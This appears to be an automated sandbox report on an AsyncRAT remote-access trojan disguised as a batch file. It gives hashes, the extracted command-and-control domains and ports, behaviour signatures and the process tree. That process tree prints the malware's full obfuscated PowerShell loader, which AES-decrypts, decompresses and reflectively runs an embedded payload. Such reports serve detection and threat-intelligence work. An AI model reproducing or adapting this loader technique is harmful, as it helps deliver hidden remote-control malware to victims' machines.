asyncrat | cd1e40dd11cb7eb2dad6cef5e5f40f7f536cae0d0216a7914f1eea725d707758

Analysis

max time kernel
146s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 07:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat
Size

48KB
MD5

83875df1ddf8a47531e763f5bc140691
SHA1

8d1bc0c5bceedd229b8faaf6542779726188b145
SHA256

a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34
SHA512

e19c020f4fe1922a4adef3dd50851514a99852b7eefa9b74e6e954f941349a60589e171a618423d0029e8d3e8568536026a1012586a74daa4d19a1ebabb701a7
SSDEEP

768:xZZOUUP++sgCpDgSE2WPENq+qrD/PESqitk3Spn1eqy1nUNamt:m+qCNgNgqdj1qitvl

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

churchmon.ddns.net:6606

churchmon.ddns.net:7707

churchmon.ddns.net:8808

churchmon21.ddns.net:6606

churchmon21.ddns.net:7707

churchmon21.ddns.net:8808

churchmon22.ddns.net:6606

churchmon22.ddns.net:7707

churchmon22.ddns.net:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2360-19-0x0000020024700000-0x0000020024712000-memory.dmp	family_asyncrat

Executes dropped EXE 1 IoCs

pid	Process
2360	a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2360	a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe
2360	a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3944 wrote to memory of 2360	3944	cmd.exe	85
PID 3944 wrote to memory of 2360	3944	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe
  "a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $yruxp = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat').Split([Environment]::NewLine);foreach ($AoHcJ in $yruxp) { if ($AoHcJ.StartsWith(':: ')) { $jSeTT = $AoHcJ.Substring(3); break; }; };$iPrdF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jSeTT);$pstaK = New-Object System.Security.Cryptography.AesManaged;$pstaK.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pstaK.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pstaK.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oK9Sb6xmpGv+i/gAJDgfaubHDtLnuOUbT8h3z0NIMvs=');$pstaK.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CUeA3Qkm0ivKUIPg7zp+ug==');$FYwLw = $pstaK.CreateDecryptor();$iPrdF = $FYwLw.TransformFinalBlock($iPrdF, 0, $iPrdF.Length);$FYwLw.Dispose();$pstaK.Dispose();$XhabZ = New-Object System.IO.MemoryStream(, $iPrdF);$lkvIz = New-Object System.IO.MemoryStream;$oenGH = New-Object System.IO.Compression.GZipStream($XhabZ, [IO.Compression.CompressionMode]::Decompress);$oenGH.CopyTo($lkvIz);$oenGH.Dispose();$XhabZ.Dispose();$lkvIz.Dispose();$iPrdF = $lkvIz.ToArray();$QQBse = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($iPrdF);$qnZNg = $QQBse.EntryPoint;$qnZNg.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2360

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ekxjrdwq.kvd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/2360-4-0x00007FFC53833000-0x00007FFC53835000-memory.dmp

Filesize
8KB

Download
memory/2360-5-0x0000020025060000-0x0000020025082000-memory.dmp

Filesize
136KB

Download
memory/2360-15-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/2360-16-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/2360-17-0x00000200246F0000-0x00000200246FE000-memory.dmp

Filesize
56KB

Download
memory/2360-19-0x0000020024700000-0x0000020024712000-memory.dmp

Filesize
72KB

Download
memory/2360-20-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/2360-21-0x00007FFC53833000-0x00007FFC53835000-memory.dmp

Filesize
8KB

Download